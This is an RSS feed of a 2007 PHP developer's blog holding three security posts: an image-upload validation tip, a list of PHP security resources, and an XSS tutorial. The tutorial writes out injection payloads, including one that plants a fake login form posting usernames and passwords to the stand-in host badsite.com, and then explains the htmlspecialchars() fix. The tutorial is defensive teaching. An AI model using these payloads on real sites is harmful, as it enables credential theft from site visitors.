<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Albert Fama &#187; Security</title>
	<atom:link href="http://albertfama.com/category/php/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://albertfama.com</link>
	<description>Freelance Web Programmer - specializing in PHP &#38; MySQL</description>
	<lastBuildDate>Fri, 20 Nov 2009 16:06:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Trick: Image Uploads</title>
		<link>http://albertfama.com/php/trick-image-uploads/</link>
		<comments>http://albertfama.com/php/trick-image-uploads/#comments</comments>
		<pubDate>Thu, 13 Dec 2007 22:40:18 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[file upload]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[validation]]></category>
		<category><![CDATA[validation trick]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=43</guid>
		<description><![CDATA[We have all written scripts to upload files to a server, and for one reason or another I find that most of the time the script is intended for image uploads. Whenever you are uploading user files to the server it is very important that those files are validated to ensure the uploaded file is [...]]]></description>
			<content:encoded><![CDATA[<p>We have all written scripts to upload files to a server, and for one reason or another I find that most of the time the script is intended for image uploads. Whenever you are uploading user files to the server it is very important that those files are validated to ensure the uploaded file is actually what is expected. Since just checking the HTTP headers and the file&#8217;s extensions is insufficient we need to find another way to determine if the file is actually an image file.</p>
<p>While writing some validation code I came across this &#8220;trick&#8221; which can be used to determine if a file is an image file: Send the uploaded file through <a href="http://www.php.net/manual/en/function.getimagesize.php"  title="PHP Manual: getimagesize">getimagesize()</a> and check the return values. </p>
<p>As the PHP Manual states:</p>
<blockquote><p><strong>PHP Manual</strong></p>
<p>The getimagesize() function will determine the size of any given image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML IMG tag and the correspondant HTTP content type.</p></blockquote>
<p>If PHP cannot access the file or the file is not an image, the function will generate an E_WARNING error, and return boolean FALSE. The E_WARNING error can be suppressed by using the error suppression operator &#8216;@&#8217;. As long as you know that the file is accessible to PHP (which it should be if PHP uploaded the file) and the function does not return FALSE, then you have a valid image file.</p>
<p>I first leaned about this method from the book <a rel="nofollow" href="http://www.amazon.com/php-architects-Guide-PHP-Security/dp/0973862106/ref=sr_1_1?ie=UTF8&#038;s=books&#038;qid=1197585311&#038;sr=1-1"  title="Amazon: php|architect's Guide to PHP Security">php|architect&#8217;s Guide to PHP Security</a> by <a href="http://ilia.ws/"  title="Personal Website: Ilia Alshanetsky">Ilia Alshanetsky</a>.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=43">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/trick-image-uploads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security Resources</title>
		<link>http://albertfama.com/php/security-resources/</link>
		<comments>http://albertfama.com/php/security-resources/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 14:17:01 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[links]]></category>
		<category><![CDATA[resources]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=38</guid>
		<description><![CDATA[After posting Simple XSS Vulnerability according to my site stats, it seems there is a large number people interested in PHP security, more so than any other topic I have blogged about. Since I am no security expert I thought I would provide a few links to some quality resources on the net.
One of the [...]]]></description>
			<content:encoded><![CDATA[<p>After posting <a href="/?p=37" title="Obnexus: Simple XSS Vulnerability">Simple XSS Vulnerability</a> according to my site stats, it seems there is a large number people interested in PHP security, more so than any other topic I have blogged about. Since I am no security expert I thought I would provide a few links to some quality resources on the net.</p>
<p>One of the best resources is the <a href="http://phpsec.org/"  title="PHP Security Consortium">PHP Security Consortium</a>, where you can find the <a href="http://phpsec.org/projects/"  title="PHP Security Consortium: Projects">PHP Security Guide</a>. It is published in three different formats (HTML, PDF, DocBook Lite) and four different languages (English, French, Romanian, Serbian). They also publish their own <a href="http://phpsec.org/articles/"  title="PHP Security Consortium: Articles">articles</a> and have a links <a href="http://phpsec.org/library/"  title="PHP Security Consortium: Library">library</a> to numerous articles on other sites.</p>
<p>The founder of the PHP Security Consortium is <a href="http://shiflett.org/"  title="Chris Shiflett">Chris Shiflett</a>, who has published a few books (including <a href="http://phpsecurity.org/"  title="Essential PHP Security">Essential PHP Security</a>). He, of course, also has his own website where you will find the <a href="http://shiflett.org/blog"  title="PHP &#038; Web Application Security Blog">PHP &#038; Web Application Security Blog</a> along with numerous <a href="http://shiflett.org/articles"  title="shiflett.org: Articles">articles</a>. While gathering the links for this post, I found an excellent article about XSS (<a href="http://shiflett.org/articles/foiling-cross-site-attacks"  title="shiflett.org: Foiling Cross-Site Attacks">Foiling Cross-Site Attacks</a>).</p>
<p>Another well-known PHP security expert is <a href="http://ilia.ws/"  title="Ilia Alshanetsky">Ilia Alshanetsky</a>, creator of <a href="http://fudforum.org/forum/"  title="FUDforum">FUDforum</a>. He has published <a href="http://www.phparch.com/pgps" >php|architect&#8217;s Guide to PHP Security</a>, and runs his own <a href="http://ilia.ws/"  title="Ilia Alshanetsky">blog</a>.</p>
<p>If you haven&#8217;t yet heard about the <a href="http://www.hardened-php.net/"  title="Hardened-PHP Project">Hardened-PHP Project</a>, it is well worth checking out. There you will find <a href="http://www.hardened-php.net/suhosin.127.html"  title="Hardened-PHP Project: Suhosin">Suhosin</a>, an advanced protection system for PHP installations. Also the <a href="http://www.hardened-php.net/hardening_patch.14.html"  title="Hardened-PHP Project: Hardening patch">Hardening patch</a>, a patchset that adds security hardening features to PHP to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within those applications or the PHP core itself. This is also the team that brought us the <a href="http://php-security.org/"  title="Month of PHP Bugs">Month of PHP Bugs</a> in March &#8216;07.</p>
<p>An outspoken member of the Hardened-PHP Project is Stefan Esser, formerly a member of the php.net&#8217;s Security Response Team. Stefen Esser used to have the most active PHP security blog (<a href="http://blog.php-security.org/"  title="PHP Security Blog">PHP Security Blog</a>), but for unknown reasons the blog has not been updated for several months.</p>
<p>I know there are numerous other PHP security resources on the net, but I am hoping that these links will help get you started on finding quality PHP security resources. If anyone has other sources which you frequently use please post the URL in a comment.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=38">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/security-resources/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple XSS Vulnerability</title>
		<link>http://albertfama.com/php/simple-xss-vulnerability/</link>
		<comments>http://albertfama.com/php/simple-xss-vulnerability/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 21:18:04 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[validation]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=37</guid>
		<description><![CDATA[I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use.

&#60;input type="text" name="order" value="&#60;?php&#160;echo&#160;$_POST['order'];&#160;?&#62;" /&#62;

Basically [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use.</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="&lt;?php&nbsp;echo&nbsp;$_POST['order'];&nbsp;?&gt;" /&gt;
</pre>
<p>Basically the question was: What is wrong with this code? I didn&#8217;t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP. </p>
<p>Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited.  It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.</p>
<p>OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>When the form is submitted the code will simply print: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>in the text box. </p>
<p>This is true, but the problem is; what happens when someone enters: </p>
<p>watch it grow&quot; size=&quot;100</p>
<p>When this value is printed in the text box, the browser &#8217;sees&#8217; the quote following: <strong>watch it grow</strong> and ends the &#8216;value&#8217; attribute. The browser then adds a &#8217;size&#8217; attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="watch it grow&quot; size=&quot;100" /&gt;
</pre>
<p>Now we know that simply adding a &#8221; (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:</p>
<p>click here&#8221; onclick=&#8221;alert(&#8216;hello&#8217;);</p>
<p>Now the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="click here" onclick="alert('hello');" /&gt;
</pre>
<p>After the form is submitted the value in the text box reads: <strong>click here</strong>. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: &#8216;hello&#8217;.</p>
<p>Taking this exploit one step further, with one final example.  The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the &#8216;value&#8217; attribute with the &#8221; (quote) and then add the end of the input tag: /&gt; and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let&#8217;s add:</p>
<pre name="code" class="html">
Fill out form completely" disabled/&gt;&lt;/form&gt;&lt;form method="POST" action="http://badsite.com"&gt;Username: &lt;input type="text" name="username"&gt;&lt;br/&gt;Password:&lt;input type="password" name="user_pass"&gt;&lt;br/&gt;&lt;input type="hidden" name="end_input" value="
</pre>
<p>With this code we start with: Fill out form completely&#8221;<br />
The &#8221; (quote) following the word &#8216;completely&#8217; will end the &#8216;value&#8217; attribute. </p>
<p>We then place: disabled/&gt;<br />
This will disable the &#8220;order&#8221; input and end the tag, now we are in the realm of adding HTML. </p>
<p>Next by adding: &lt;/form&gt;<br />
We have ended the form, and are able to create something new.</p>
<p>As you can see we have added our own form which submits the user&#8217;s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.</p>
<p>To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):</p>
<pre name="code" class="html">
&nbsp;&nbsp;&lt;input type="text" name="order" value="Fill out form completely" disabled/&gt;
&lt;/form&gt;
&lt;form method="POST" action="http://badsite.com"&gt;
&nbsp;&nbsp;Username:
&nbsp;&nbsp;&lt;input type="text" name="username"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;Password:
&nbsp;&nbsp;&lt;input type="password" name="user_pass"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;&lt;input type="hidden" value=""/&gt;
</pre>
<p>Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply <strong><em>NOT</em></strong> true, but you will have to do the research yourself if you still don&#8217;t believe that this is a security hole (or you have ideas of cracking a few sites. <img src='http://albertfama.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: <a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a>.</p>
<p><a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a> converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value=" &lt;?php&nbsp;echo&nbsp;htmlspecialchars($_POST['order']);&nbsp;?&gt; " /&gt;
</pre>
<p>This is only one way to &#8216;fix&#8217; the problem and may not work in all situations; some other methods of preventing an XSS attack are:</p>
<ul>
<li>Use an exclusion approach with <a href="http://us2.php.net/strip_tags"  title="PHP Manual: strip_tags()">strip_tags()</a>.</li>
<li>Use regular expressions to filter any data which may not have been caught by the built-in functions.</li>
<li>Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.</li>
</ul>
<p>I believe the best defense is a combination of a few different strategies.</p>
<p>XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: &#8220;PHP XSS exploits tutorials&#8221;. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=37">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/simple-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
